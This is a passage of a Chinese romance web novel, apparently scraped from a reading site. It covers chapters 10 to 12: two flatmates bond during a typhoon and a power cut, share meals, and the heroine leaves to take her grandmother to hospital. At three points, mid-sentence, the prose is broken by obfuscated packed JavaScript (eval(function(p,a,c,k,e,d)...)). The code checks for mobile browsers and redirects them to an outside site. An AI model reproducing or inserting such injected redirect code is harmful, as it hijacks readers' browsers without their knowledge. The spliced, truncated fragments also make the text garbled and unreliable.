大家倒没多说，笑呵呵地朝饭桌走去，楼湛拍着他的肩，走在最后边，“你侄子今天周岁，你空手来啊。” 楼峙瞥了人一眼，“满月不是送过了，侄子看都没看到，你就伸手要礼。” “乐乐刚睡醒，江阿姨在给他穿衣服。” 楼峙扫了一圈，在最边上的位置坐下，等到乐乐抱过来后，他给席悦宜递去一个红盒子，“嫂子，给乐乐的。” “阿峙，替乐乐谢谢你啦。” 小孩子一天一个样，楼峙看着刚睡醒的宝宝，小家伙正举着小手打着哈欠。 软乎乎的，很可爱。 不知为何，脑海里却突然闪过刚刚随晞睡醒的样子。那双琥珀眼带着迷蒙，像是还在半梦半醒间，却下意识先摸一摸自己的嘴角。 楼峙莫名唇角轻扬，“不客气。” 菜还没有上齐，他闲着无聊拿出手机玩，才发现不久前随晞发来了消息。 随晞：「图片」 随晞：「转账」 随晞：「我帮你的东西先一起放到冰箱了？」 随晞：「还有什么需要放在外边的呀。」 10. 停电时分 “你知道LOFT Z 10 / 最后一道菜上桌，大家都等着楼光誉过来，封以菱抬眼往楼上房间望去，轻柔解释，“没事，他刚接了个电话，我们先吃吧，不用等。” 大家举筷开动，楼峙低着头，点开随晞发来的那张图片。 三大袋子的东西已经被她分成两拨，整齐摆放在岛台上。在超市各买各的便没注意，眼下他才看到随晞一摞几乎全是蔬菜，还有一些速食。三餐就吃这些，怪不得人也小小个的。 楼峙神色懒散地靠着椅背，低头给人回去消息。 Z：「谢了。」 Z：「土豆、胡萝卜。」 等了几秒，那头回复。 随晞：「好，不用客气^o^」 “还有人和你聊天啊，谁啊？” 楼湛正准备给楼峙倒杯酒，却看见这人勾着唇看着手机，莫名觉得不太对劲，他装作不经意地瞥了一眼，只能看到对方是个可爱的小猫头像。 大概是女生。 他了然地抬了抬眼，继续装作不知情地问，“要不要喝杯？” 察觉到楼湛的视线，楼峙收回笑，也很快将手机锁屏单手放回兜里，“不喝，等下开车。” “你晚上还打算回自己家住？妈可是说了今晚让我们都留在这。” “哦，我认床。” 哥俩聊天声音没有刻意压低，封以菱就坐在两人侧边，“阿峙啊，你看你哥孩子都一周岁了，你什么时候领个姑娘回来给我们见见啊。” 楼峙倒了杯苹果汁，姿态闲适，“妈，我还年轻，不着急。” “呵，还年轻，都二十七的人了，你哥这岁数已经结婚了，你连对象影子都没有。”楼光誉从楼上走下来，脸色不悦，“每天不知道在忙些什么，家也不回。” 听到声响，大家都转过身去，只有楼峙面不改色地夹起一块红烧排骨，当作什么都没有听到似的，楼光誉也没什么好脸色给他。 “好了好了，菜上齐了开吃吧。”封以菱眼神示意楼光誉，后者轻哼一声，在她身旁坐下。 众人也多少察觉到这父子俩的不对头，悄无声息地换了个话题。 全程下来，楼峙只闷不吭声地夹菜吃，偶尔和邻座的小侄子勾手指玩玩，再听楼湛聊一聊公司的事情。 ... 饭后，男人们站在窗边抽起烟，楼峙嫌弃地瞥了一眼楼湛，拍了拍身上，先一步走到客厅。 “我看外边雨下得大了，天气预报不是说明天台风吗，估计夜里就会来了，你们要不就在家里住一晚吧。”封以菱将餐后水果放到了茶几上，对楼峙说。 亲家就住在隔壁栋，但楼湛两夫妻和楼峙则是自己有房子住。 “不用了妈，我回家住。” “你哥说回家我还能理解，你一个人回去不也是独个人，干嘛不留下来。”封以菱眉头拧出一丝不悦，想要再劝劝楼峙。 楼峙还没开口，手里的手机振动一声。 看清消息后，他微蹙眉直起身来，眼底露出些迟疑，还是打断了封以菱即将输出的长篇大论，“妈，我先回去了。叔叔阿姨，你们继续玩会，下次再聚。” “诶你这孩子，我话都没讲完......” 封以菱手还没拉到衣角，楼峙已经拿着车钥匙起身离开了。她看着人匆忙的样子，推了推楼湛的胳膊，略微有些不开心，“阿峙这是什么情况啊？” 楼湛刚从窗边回来，只来得及看见楼峙关门的动作，他露出一丝笑，“妈，别担心了，说不定今年过年阿峙就能带个姑娘回来了。” - 整理完买的东西后，随晞便拿出食材，准备着晚饭。 因为她和楼峙都喜欢自己烧饭吃，所以两人说好饭点同时在家的话可以问下对方吃不吃饭、谁先烧，其他时间可以直接自己烧。 没有第二人在的屋子，总是更加自在一些。 窗外的雨越下越大，随晞切着蘑菇小声哼着歌，刀尖刚往下切，突然，整个厨房陷入漆黑。 她一愣，指尖传来微微的刺痛感，视线之内看不清任何东西，只能听到窗外密密麻麻的雨声。 随晞放下刀摸索着朝岛台边走去，找到放在角落的手机。她打开手电筒，却不知道家里的电表箱在哪个位置。 想了想，还是给楼峙先发去了消息。 猫打呼噜：「楼峙，家里的电表箱在哪个位置啊？」 猫打呼噜：「家里停电了，我想看看是什么问题(＞人＜；)」 等待消息回复的间隙，随晞走到玄关处看了看，但没有发现能放电表的位置，她叹了口气，停下准备给人打去电话的动作。 算了，楼峙估计是在吃饭，眼下也不好打扰。 食指刚刚被刀擦了去，血不知不觉已经流了半指，不痛但看着些许有些渗人。一天下来都还没有吃过什么东西，胃也开始隐隐作痛。 随晞将手机翻面朝上，微微照亮一角，又抽出张纸巾随意地包好，拿出刚买的泡面，准备凑合着吃点。这突然停电的原因不清楚，倒是可惜了她的晚饭，现在也只能泡汤了。 拆开调料包倒入，手机屏幕亮起，随晞点开消息，是楼峙发来的语音。 “是小区集体电路维修，所以停电了。” 楼峙大概在室外，风声很响，随晞也能听出来他微喘着气。她指尖微顿，也不知道现在停电了，楼峙晚上还会不会回来。 随晞紧抿着唇，却没有多问，慢吞吞地打下好。只不过还没有发出消息，下一秒，楼峙又发来了一条语音。 漆黑寂静的屋子里，他的声音从话筒里穿透出来。 比刚刚更清晰，也似乎更加温柔。 “我马上回来了，需要带什么？” / 楼峙到家时，屋内飘满海鲜味泡面的味道，他蹙眉朝里喊了声随晞的名字。 刚刚那条消息发出去后，随晞便一直没有回复。 如同现在，屋子里也没有人应答。 视线里只剩下黑，他顿了顿，点开手电筒，在玄关的柜子处翻找着之前的蜡烛，点燃后在玄关、岛台以及客厅都放了几个。 室内微微亮了一些，也没发现人，楼峙眉拧得更紧了些，正想着再发个消息问问，随晞的声音在身后响起。 “楼峙？你回来了啊。” 楼峙回过身去，随晞已经换上了奶黄色长袖睡衣，卷发散开落在胸前，一双眼睛睁得圆圆的，像是没料到他这么快回来，微微带着拘谨。 “嗯，你吃了，消息怎么不回。” 随晞摸了摸鼻子，略带有些底气不足，“手机没电关机了。” “泡面味是不是有点重。不过你放心，我已经开了点窗透气了，估计一会儿就能散掉。” “我以为你停电了晚上就不回来了呢。” 她最后一句说的极其小声，但在此刻安静的屋内，楼峙还是听清了。 他将买来的关东煮放在岛台，又倒了杯水，微扬起眉，“怎么，我不回来了你就打算把屋子搞得乌烟瘴气了？” “没有这个意思，”随晞赶紧摇了摇头，摆手道：“就是停电了，用泡面解决一顿比较方便。” “我多买了关东煮，你如果还没吃饱可以吃点。” 随晞这才注意到岛台边放着一大杯关东煮，此刻还热乎着，泛着热气，她揉了揉肚子，双眸带着可惜，“谢谢，不过我吃饱了，还是算了。” “你可以等下饿了吃点。” “好。” 她的食指处用纸巾包着，随着动作要掉不掉，楼峙的目光被吸引，视线落在那处皱了皱眉，“你手怎么回事？” “啊，没事。” “受伤了？” 男人声音变得有些严肃，微弱亮光下，她下意识地抬眸，能看见楼峙微微沉下去的眼眸，于是不自觉地把手收到身后，“就是刚好做菜刚好停电刚好被切到......” 说到后边，随晞的声音莫名越压越低，楼峙揉了揉眉心，看着默默低头的人，露出些无奈，“随晞，我很凶吗？” “......” 哪有人问别人自己凶不凶的。 随晞忍住想点头的动作，动了动唇，试探出声，“还......可以？” “那下次就别躲那么快。” 楼峙说完这句也没再开口，他很快从随晞身边走过，在岛台边的柜子里翻着什么东西。 随晞看着他的背影，以为对话就到这了，便转身准备回房。 “随晞。” 楼峙又喊了她的名字。 “怎么了？” “不是说了不凶？走那么快做什么。” 紧接着，他拿着东西走了过来，“家里有医药箱，放在岛台边上的第二个柜子里。” 手里被塞了一个创口贴和碘伏棉签，随晞微微一愣，低头看着它们，“其实用不着，伤口很小的。” 估计再过点时间都要愈合了。 楼峙看了看她包起来的那根手指，淡淡道：“随你。” “物业说明天一早电才能恢复，你睡觉前可以拿几个蜡烛到房间。” “好。” 楼峙没再多说，先一步回了房间。 屋子里烛光跳动，随晞打着哈欠从岛台边拿了一个香薰蜡烛，又连同刚刚楼峙给的创口贴一起带回房。 而那杯冒着热气的关东煮，在回房前被她吃干净，丢到了垃圾桶里。 ... 台风预警的消息再次发来，随晞将窗户关紧，坐在床沿拆开碘伏棉签，擦了擦伤口。 看着那个创口贴，她垂眸低笑，好像和楼峙合租，也没有想象的那么不好。虽然他看上去很冷，但人其实很细心。 至少在这个停电的夜晚，还有他点的一角烛火陪她度过。 / “杜若”来得很猛，早上五点，随晞被妖风吵醒。 雨滴随风砸落在玻璃上，莫名敲得她心慌。柜子边的蜡烛还在无声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17025851|194395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃烧着，屋里飘出淡淡的柚子香，随晞揉了揉眼，拿起手机来。 昨晚睡前楼峙给她找来了充电宝，眼下手机已经充满了电。 凌晨三点，于杪给她发来了消息。 少少：「随随，台风来了你东西都囤好了吗？」 05：12 猫打呼噜：「囤好啦，你出差一切顺利嘛？」 搬家合租的这个消息还没有和于杪说，随晞想了想还是决定等到她出差回来再坦白。 昨晚没电，也没法工作，随晞硬逼着自己在十二点入睡，不到五个小时的睡眠，此刻却被搅的睡意全无。 她起身套了件薄长袖，拿着ipad轻轻打开房门，楼峙那屋还是紧紧地关着，大概还在熟睡。 客厅比房间要亮一些，只不过眼下，大落地窗外只有雾蒙的天。随晞将窗帘拉开，靠在离窗边近一些的单人沙发上，开始画点小画。 这几天因为太忙，所以一些商稿还没来得及画，幸好内容不算复杂，截稿日期也不算逼近。窗外天色渐渐变亮，随晞打完两张精版草稿后，伸了伸懒腰将平板放在一旁。 正准备去洗漱做早饭，楼峙恰好从屋里走出来。 两人见到对方都有些惊讶，楼峙看了看手上的腕表，确定此刻的时间，先打破了一时的沉默。 “一夜没睡？” “不是，睡到了五点，外边风太响了，睡得不安。”随晞揉了揉耳朵解释。 楼峙听到人的解释蹙起眉，家里装的窗户是隔音窗，他睡眠不算深，却没想到随晞对于噪音这么敏感。 “大概是因为我不在平常的点睡，所以身体一时没有适应，睡得也不深。” 楼峙穿着利落的运动服，想来是去锻炼，随晞很快解释过后，也没再多打扰人家，“那个，我等下想做早饭，你什么时候吃，要不然我做一份你的？” “打算做什么？” “还没有电，我打算做点简单的三明治。” “可以，麻烦了。” 于是随晞走入厨房，选好要用的食材，而楼峙则是转身去了跑步机边开始晨练。 拿出鲜土司，随晞又从冰箱里翻出番茄酱和沙拉酱，挤上一个笑脸，用小刀刮平，紧接着放上切好的黄瓜、火腿还有一些生菜、番茄，再用保鲜膜包好，切成两半。 因为不知道楼峙的口味，所以做他那一份前，随晞走到楼峙锻炼的房间，敲了敲门。 男人已经热完身，正跑着步。黑色T恤紧紧贴在身上，勾勒出他紧实的肩膀和优越的手臂线条，头发随着动作一起一落，还有微微的喘气声。 实在令她无法忽视。 随晞虽然因为工作原因画过很多男人，但现实里看到这情景，还是与画里不同的。她顿时双耳一热，热度渐渐扩散到脸颊边。 低咳一声后，随晞垂眸敲了敲门，楼峙听到动静很快停下动作，擦了擦额边的汗，朝她走近几步。 “怎么了？” 男人的气息渐渐逼近，随晞睫毛轻颤，放在身后的手不由得握紧了些：“就是想问问你番茄酱和沙拉酱都吃吗？然后是黄瓜片和火腿。” “都吃，你随、随便做。” 身前的人似乎有些紧张，耳朵泛着红意，楼峙直起身来，勾唇，“我等下做咖啡，你想喝什么？当作对早饭的回礼。” “那麻烦你了，谢谢。”随晞只想着赶紧回厨房去，没发现自己所有的情绪都写在了脸上，连回答的话都有些答非所问。 “随晞，急什么。” “怎么了？” “你还没有说想喝什么。” 随晞停下脚步，又对上男人似笑非笑的眼眸，她低咳一声，脸颊有些发烫，“噢，我都可以，要不然就拿铁吧。” “行。” ... 楼峙冲完澡后就到岛台边选出一包豆子，随晞默默坐在一旁，看着他熟练的操作。 等打开厨房柜子，随晞才发现楼峙这里的咖啡用具几乎齐全，不像只是随便拿包咖啡粉泡着喝的人。 但她没多想，因为很快，楼峙便开始做起咖啡。他先用焦糖酱挂了个杯壁，然后抬眼问向对面的人，“能喝冰吗？” 随晞抬起手，比了ok的手势，带着商量语气，“不过能不能少放点。” 楼峙嗯了声，从冰箱下层拿出小半勺冰块倒入杯中，紧接着倒入半杯燕麦奶。 取豆、压粉、萃取。 屋内开始飘起淡淡的咖啡香，楼峙还倒了些燕麦进去。 “焦糖燕麦冰拿铁。” 一个精美的玻璃杯推到她面前，随晞道过谢，小口喝起来。泡沫很绵密，口感细腻，好像比她在其他咖啡店喝的还要好喝。 不过，能和LOFTZCoffee打个平手。 随晞边吃着三明治，边小口喝着拿铁，看楼峙继续做他自己的那杯咖啡，男人动作太过熟练，她没忍住开口。 “楼峙，你知道LOFTZCoffee吗？” 11. 不是麻烦 11 / 楼峙很快做完自己那杯冰美式，坐在了随晞对面，“嗯，怎么了？” 随晞原本也只是问问，这家咖啡店太过小众，倒没想着楼峙真的会知道。 提到咖啡，她的尾音都不由得上扬了些，双眸亮亮的，像只觅到食的小猫。 “我之前去他们家喝过两次，你喝过他们家的咖啡吗？就在望湖北路那边。” 女生浅浅的琥珀瞳带着光，楼峙面不改色地答道：“喝过，你觉得很好喝？” 随晞连连点头，细细数来，“好喝！他们家老板有点高冷，但是应该品味很好，好像店里用的杯具都没有重复的。员工很可爱，做出来的咖啡特别好喝。” 耳边传来一声轻笑，随晞这才反应过来自己絮絮叨叨说了些什么，她很快填补道：“你做的也很好喝，所以我才想着问问你。” “真的，没骗你。” “嗯，知道了。” 楼峙唇角勾起淡淡笑意，也不知道有没有真的信她的话，随晞没敢再多说，只抱着玻璃杯，一口口喝下拿铁。 ... 大概因为台风天的关系，所以楼峙这几天都在家办公，两人碰面的次数比前两天多了起来，随晞也适应了很多，最初搬进来的陌生和尴尬感在一点点消淡。 随晞醒的早能看见楼峙在厨房准备午饭，屋子里总是飘满很好闻的饭菜香。 只不过楼峙的午饭是随晞的早饭点，她基本用土司、煎蛋就能简单解决。午饭搭不到一个点吃，但晚饭两人倒都是那个点做饭。 有时候是随晞先做，有时候是楼峙。相同的是一个人做完饭再烧，另一个人就要等上一会儿。 两人的口味差不多，当晚，楼峙和随晞便商量了一下，提议以后一天一轮，晚餐可以互相烧两人份。 听起来是个好主意，只不过随晞有些犹豫，她很少烧饭和别人一起吃，连于杪都没有吃过她做的菜。 “但是我做饭不太好吃。” 楼峙的目光停驻在她带着迟疑的脸上，“看你这几天做饭的样子，不太像。” 这是实话，随晞的做饭速度很快，灶台也不会搞得乱七八糟，一看就知道她是经常做饭的人。 “可能......就只是中看不中吃。”随晞想起什么，嗓音低低地答。 楼峙抱着双臂，懒懒靠在桌边，眼底带着一些笑，“随晞，你只想吃我的饭就直说。” 话音落下，随晞立马瞪圆了眼睛，摆了摆手，“我没有这个意思。” “哦，那你就是想把我这个房东饿死。” 这些天随晞多少也了解到了楼峙的性格，人好话不多，但只要开口就总是语出惊人，有时候让人回不了话。 她抿着唇，犹豫了一会儿想出办法来，“这样吧，要不然以后晚上都你先烧？反正我一般都是简单烧点，用不了多久。” 随晞烧得确实简单，每天晚上他是会烧几个菜吃，而随晞则是炒一个蔬菜或者肉，楼峙有时候都在想那么点东西真的能填饱肚子吗。 “我没有让人等的习惯，也不想自己等。随晞，两人份吃到的菜还能多些，为什么不能试试？” 楼峙抱着双臂对她说了一堆，随晞脑子晕乎乎的，只觉得他说的还是蛮有道理的。 半响，她对上男人询问的视线，迟钝地点点头，“好，那就先试试吧。” “不过如果你不喜欢我做的菜，你说一声，我们就还是各烧各的。” “行。” … 台风第三天，轮到随晞做晚饭。 尽管楼峙前一晚说过自己什么都不挑，但随晞还是有些紧张。她知道楼峙的厨艺好，虽然她喜欢做饭，但会做的菜可能没有楼峙那么多，也怕人吃不惯她的手艺。 当晚睡得不太安稳，随晞梦里都在切着茄子，洗着大白菜。 楼峙就在一旁冷冷看着她，但太过紧张，锅内还没有干，她就先把油往下倒，油飞速喷溅出来，也是瞬间，锅里冒出了火。火越起越大，随晞一时呆在原地，下一秒，火蹿到了她的衣服上。 “救命！” 窗外大雨转小雨，随晞惊恐出声，咻地睁开双眼，看见是房间的天花板，她松了口气。 还好是梦。 不然楼峙家的厨房就该被她毁了。 随晞小喘着气拍了拍自己的胸口，耳边传来铃声。 是松慧颖的来电。 “喂，外婆。” “心心啊，你妈说你过几天要回来，回来做什么呀？” 松慧颖依旧是带笑地和她说话，随晞鼻头一酸，“回去带你去医院呀外婆，上次，她应该没怎么带你仔细去检查吧。” 那头声音静了静，紧接着松慧颖低叹一口气，“心心啊，我前几天刚仔细做完检查，你妈说都好着呢，没必要要你回来一趟，还浪费钱。 “外婆，我陪您去医院听听医生怎么说好吗？” 不知过了多久，松慧颖那边才低声妥协，“好，听我们心心的。那什么时候回来啊，我提前给你准备好吃的。” “等这边台风过去我就回去了，您这几天有没有哪里不舒服？” “放心，都好着呢。你不用担心我，这个点午饭还没吃吧，快去吃点。” 两人没再多聊，结束了通话。 手机慢慢熄屏，随晞叹了口气，起身换了衣服。 因为那个梦的缘故，随晞走出房门后便先去了厨房一趟，楼峙已经在那里烧着午饭了。她装作若无其事，仔细地看了一眼锅，幸好和梦里的样式不太一样。 她小幅度地拍了拍胸口，提着的心稍稍落下。 楼峙看着她在灶台边左右晃荡，勾了勾唇，“怎么，今天想吃午饭了？” 随晞哪敢把梦的内容告诉他，她很快心虚地笑了笑，“没有，我就是看看你在烧什么。真的好香啊！” 就是简简单单的酸汤面，大概是胡椒和辣椒的香味有些重，所以闻着也香。 只不过眼前的人怎么看都不像是因为这个过来的，楼峙摇了摇头，桃花眼绽开丝笑意，没有拆穿她。 ... 随晞洗漱回来后，楼峙已经坐在位置上吃着面了，厨房的位置空出，她拿出配菜，做了一份简单的手抓饼。 刚坐下，对面推来一杯牛奶，微微冒着气，大概还是热的。 随晞一怔，楼峙缓缓开口，“牛奶明天过期，你刚好吃早饭，就搭着喝吧。” “噢好。谢谢啦。” 因为上次去超市忘买牛奶，所以这几天的“早饭”随晞几乎都是配着温水或者酸奶来吃。 土司和可颂比较好吞，但手抓饼可不一样。 不过，她今天运气还算不错。 两人面对面吃着各自的饭，随晞的视线慢慢落到对面人身上。因为在家办公的原因，所以楼峙穿的很休闲，一件灰色的短袖套在身上，宽松版。 那副眼镜被他放在手边，没有眼镜的遮挡，能清楚地看见他眼底的情绪。 比刚认识他那会儿有温度了些。 楼峙的吃饭速度不算快，不会有吧唧嘴声，也不太爱讲话。随晞咬下一口手抓饼，看着男人，也跟着细嚼慢咽了起来。 “楼峙，你有什么过敏或者不吃的东西吗？这样我晚上做菜的时候可以不烧。”见人快要吃完，随晞决定还是礼貌开口问一下。 楼峙停下吃饭的动作，“不算特别会吃辣，不爱吃干香菇，其他菌类可以接受。” 随晞点了点头，“不过家里应该也没有干香菇吧。” “我不吃，所以没有。你喜欢吃？”楼峙将筷子放在碗上，眉梢轻轻往上挑。 “也不算很喜欢，就是炒粉干的时候放进去会香一点。” “你呢？”楼峙点头，接着问道。 “什么？” “除了葱，你喜欢、不喜欢吃的或者过敏东西。” 随晞睫毛轻轻颤动了一下，下意识地抬头，带着些讶异的目光看向楼峙。 “你，怎么知道的。” 明明她没有和楼峙说过，自己不吃葱。 楼峙直起身来，缓声道：“和你吃过一次饭，还看过你烧饭。” “所以随晞，当时问你有没有什么不吃的，为什么不说？” 随晞微张着唇，双眸慢慢暗淡下来。 小时候，程芳岚因为她不爱吃葱每次做饭都会抱怨。有次吃饭，松慧颖看到一桌菜都有葱时还提醒了一句，“小晞不吃葱啊，怎么每道菜还都有？” 程芳岚那时候是怎么说的。 随晞想了想，程芳岚说：“不吃葱就自己挑走了再吃啊，我们这么多人还要迁就她一个人的口味啊。” 在程芳岚那里，她永远只是一个麻烦。 她害怕再次看见那带着嫌弃、厌恶的目光，所以长大之后，她也不会主动和别人说自己不爱吃什么，不能吃什么。 但这件连于杪都不知道的事情，没想到却被楼峙发现。 随晞微微愣住，哑着声开口，“其实......我也可以吃的。” “喜欢就是喜欢，不可以也说不成可以。要是你吃了我做的菜过敏，你说，这是算你的责任还是我的责任。” 话糙理不糙，随晞鼻头酸了又酸，心里流过一道不知名的情绪。 楼峙见她不愿多说，也没硬要她回答，他很快又将刚刚那个问题问了一遍，“所以除了葱，还有什么过敏的、不能吃的吗？” 随晞缓过神来，抬眸轻声道：“我不爱吃葱，对虾过敏，也不是很会吃辣。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随晞不知道楼峙心里已经把她的菜都评价完了，只看到男人和往常一样细嚼慢咽，脸色始终如一，没露出任何表情，看不出来这些菜到底合不合他的胃口。 她心不在焉地小口吃着菜，想开口问问，又怕听到楼峙的评价，最终还是选择了闭上嘴吃饭。 随晞的目光很炙热，所以这些表情自然被楼峙看得一清二楚，也能猜到她此刻在想些什么。 直到随晞脸上的表情一点点淡去，他勾了勾唇，终于打破了饭桌上的安静，“很好吃这么好的厨艺不露，是怕我在合同里加让你每天做饭吗？” 男人带笑的声音响起，随晞抬眸，那琥珀瞳瞬间有了亮光，但更复杂的，楼峙却读不清楚。 他将空碗拿起，又转身走向厨房，“菜还有一半，看来今晚要再勉强多吃半碗饭了。” 随晞悬着的心终于落下，她垂眼，唇角上扬，又盛了碗汤。 她不常给人做饭，读书的假期时因为程芳岚忙，她便经常会帮着程芳岚烧饭，但每次程芳岚只会皱着眉，数落着她。戴俊州和戴鸿国只会坐在桌上，偶尔应和着程芳岚。 “咸得发苦，你放这么多盐想咸死谁啊。” “做得这么慢，不知道的人还以为你在做什么大餐，就烧出来这些东西？” 那些记忆已经过去了好久，随晞却到现在都能记得程芳岚脸上的嫌恶。所以搬出来后，不管是谁问，她都会说自己的厨艺不好，也几乎不会请人在家里吃饭。 那天楼峙问她要不要轮着烧饭时，她会犹豫的原因也是因为这些。 扎在心里的刺，尽管自己再小心翼翼地拔出来，还是会有刺眼，风一吹，泛起密密麻麻的刺痛感。 而今夜，有个人细心又温柔地填补了那些刺眼。 ... 台风天就这样持续到新的一月。 随晞虽然每天都有联系松慧颖，但只听到老人的声音还是放心不下。她在网上查询了很多资料，但大部分看着就让她心慌。 三号台风彻底走远，北塔开始放晴，随晞很快买了第二天回江榆的票。不知道病情严不严重，也不知道自己大概会呆上几天，随晞想了想还是带了几身衣服过去。 行李箱铺在地上，随晞收拾了几件方便的衣服放进去。正要合上时，房门被敲了敲。 “随晞，晚上吃面可以吗？” 自从上次的晚餐后，随晞觉得自己和楼峙的关系近了很多，两人虽然作息不同，但相处得很融洽，这样的合租生活是她没有想到的。 随晞微微抬起头，朝着门口笑着答：“可以啊。” 房门半敞开着，楼峙看着里面的人正蹲着收拾行李，眸光微动，“要出门？” 12. 一张便签 12 / “抢到票了？” 这几天是小长假，票很难买。楼峙大概以为她是要出去玩。 随晞这才想起自己还没有和楼峙说自己要回家的事情，她蹲在地上，仰着小脸点点头又摇摇头，“噢，不是去玩。我这几天要去江榆一趟，不在家里了。” “去几天？” 楼峙靠在门边，身上还戴着那件灰色围裙，这几天随晞都习惯了他这个装扮，也莫名看得顺眼起来，她如实道：“还不太清楚。” “但估计是要呆上两三天的吧，怎么了？” “没事，”楼峙的视线在她身上停留了一会儿，却没说什么，“理好了等下就出来吃吧。 “好，辛苦啦。” 楼峙帮她的房门关回到原来的位置后便朝厨房走去。 随晞却顿住动作，刚刚楼峙的声音比往常低，脸上的表情也看起来比平常还要淡，不知道是不是发生了什么事情，她叹了口气，揉了揉耳朵，继续收拾着行李。 等到随晞理好出房门后，晚饭也刚好做好。 屋内香味四溢，走进厨房，楼峙在脱围裙，随晞准备帮忙端一碗出去，指尖还没有碰到碗壁，身旁的人先一步出声止住，“很烫，我来。” 随晞停下动作，楼峙朝她走近了几步。 U型布局的厨房，此刻却显得有些挤，男人的短袖袖口轻轻擦过她的手臂，带来些密密麻麻的痒意。距离缩近，随晞又闻到那道橘子混合着柠檬的香味。 下次找机会得问问楼峙，到底是哪家的香水这么好闻。 看着楼峙面不改色地端着碗出去，随晞又连忙回过神来，拿上两双筷子和勺子跟着到餐桌。 餐桌的白炽灯打下，两人按照往常一样面对面坐着吃饭，只不过楼峙今天的气压比较低，随晞时不时地抬眸看着对面的人，带着些欲言又止。 楼峙察觉到对面的视线，也停下动作抬眸，他看到随晞正搅着面没吃一口，“怎么了？不喜欢吃面？” 随晞停下动作，摇了摇头，双眸澄澈映着关心，“楼峙，你不开心。是遇到了什么烦心事吗？” 她问得坦然，楼峙一时怔愣。 过了半秒。 “没。” “我是在想你不在家，我又只有晚上回来的话，冰箱里的菜怎么解决。” 随晞握着筷子的手一顿，恍然道：“哦对，你不提起来我都忘了，那怎么办？” 上次去超市因为台风的原因，两人买了满满三大袋，这几天即使是两人一起吃饭，眼下冰箱里还是有很多囤货。况且随晞买的还都是叶类蔬菜，容易坏。 “你觉得呢？” 随晞还真就皱着眉认真思考起来了，她一边小口地吃着面一边头脑风暴，突然眸光一亮，连忙咽下嘴里的东西，“要不然，你叫段逍来帮忙吃？” 楼峙将筷子放在一旁，靠在椅背上，悠悠道：“哦，你是说我工作一天完回来，还要给段逍烧顿大餐？” 这样说起来，好像是不太合情理。 随晞连忙摇了摇头，“算了算了。” “你先把不太容易保存的烧了吃？其他吃不掉的话等我回来看看还有没有用吧。” 楼峙点了点头，眉头微微松开，“行啊，那听你的，随大厨。” 什么嘛。 随晞被叫的脸一热，她低咳一声，又闷声道：“但是我不确保我很快就能回来的，你还是多帮忙解决一点吧。” 楼峙见人越埋越低的脸，勾了勾唇，“开玩笑的，我到时候看着办。” 刚刚一时停滞下来的气氛就这样无形被打破，两人都弯着唇继续吃面。 楼峙先一步吃完，他抬头，却发现随晞又不知道在想些什么，有些出神，碗里的面都要坨了。 这几天她好像都有些心不在焉，楼峙皱了皱眉也没有多问，只是说：“有什么需要帮忙的，可以和我还有段逍说。” “谢谢你，楼峙。”随晞回过神来，眼带笑意，很浅，“不过就是家里的事情，我可以解决。” “行。” - 台风天过去，北塔终于迎来了晴天。 楼峙恢复了一早去上班的日子，随晞因为要回江榆，也定了闹钟，但真正醒来起床已经是十点了。 她洗漱完出来，准备随便吃一些什么填填肚子，却发现桌上摆着几盘新的菜。 还有一张黄色便签贴在桌边，很显眼。 这个家里，除了她，做这些的也只有楼峙，随晞倒了杯温水，边喝边拿起便签纸。 “砂锅里有粥，加热就能吃。 走之前再帮忙解决一点。” ——楼峙 之前早饭都是各吃各的，没想到今天楼峙烧了她的份。虽然应该是为了解决冰箱里的菜，但随晞还是扬起淡淡的笑。 她走进厨房打开砂锅，里面是小米南瓜粥，也不知道楼峙是几点起来烧的。 打开火加热，不一会儿，咕咚咕咚，热气升起，小米在锅里翻滚，香味也渐渐飘散开来。将桌上的几个菜放进微波炉里加热后，随晞又盛出一碗粥来，一起端到桌上。 小米粥入口，是甜的，桌上的小菜也都是开胃很适合配粥的。随晞弯着眸给楼峙拍了张照片过去，又认真地道了谢。 捡漏到的动车票是十二点，随晞加快速度，吃好又整理完厨房，确定屋子的纱窗都关上后，她拿着行李打车去了动车站。 安检、检完票，程芳岚打来电话。 “你什么时候来？” 随晞找到自己的座位坐下，隔壁的乘客闭眼休憩，她放轻了声音道：“差不多两点半到，你到时候先带外婆去医院等我。” “行，那挂了。” 电话被那头先一步挂断，通话时间十六秒。 随晞揉了揉太阳穴，戴好耳机，闭眼不再想任何事情。 ... 到达江榆后，随晞还是直接去了医院。 程芳岚带着松慧颖已经在医院等着叫号了，见她来，程芳岚便把一堆报告单塞进她怀里。 “你看看吧，到时候再仔细问问医生那些治疗费用。” 后面出的那些基础报告单程芳岚都已经拍过给她看，但眼下真看到白纸黑纸，随晞还是觉得难受。她看着松慧颖半头的白发和憔悴消瘦下来的面容，忍不住吸了吸鼻子。 医院患者很多，没过一会儿，叫号到了他们。 随晞带着两人走进诊室里，医生戴着口罩，看起来很年轻，“医生，麻烦您看看我外婆现在是什么情况？” 医生问了接过报告单仔细看起来，又问了松慧颖一些基础的问题。 室内一时有些安静，随晞看着医生微微皱起的眉头和欲言又止的神态，便先让程芳岚把外婆带出去。 门打开又关上，医生将报告放在桌上，语气略微有些严肃，“心电图显示有些问题，介于患者有高血压，加上看诊时说的症状，所以不排除是冠心病的可能。” “这边建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 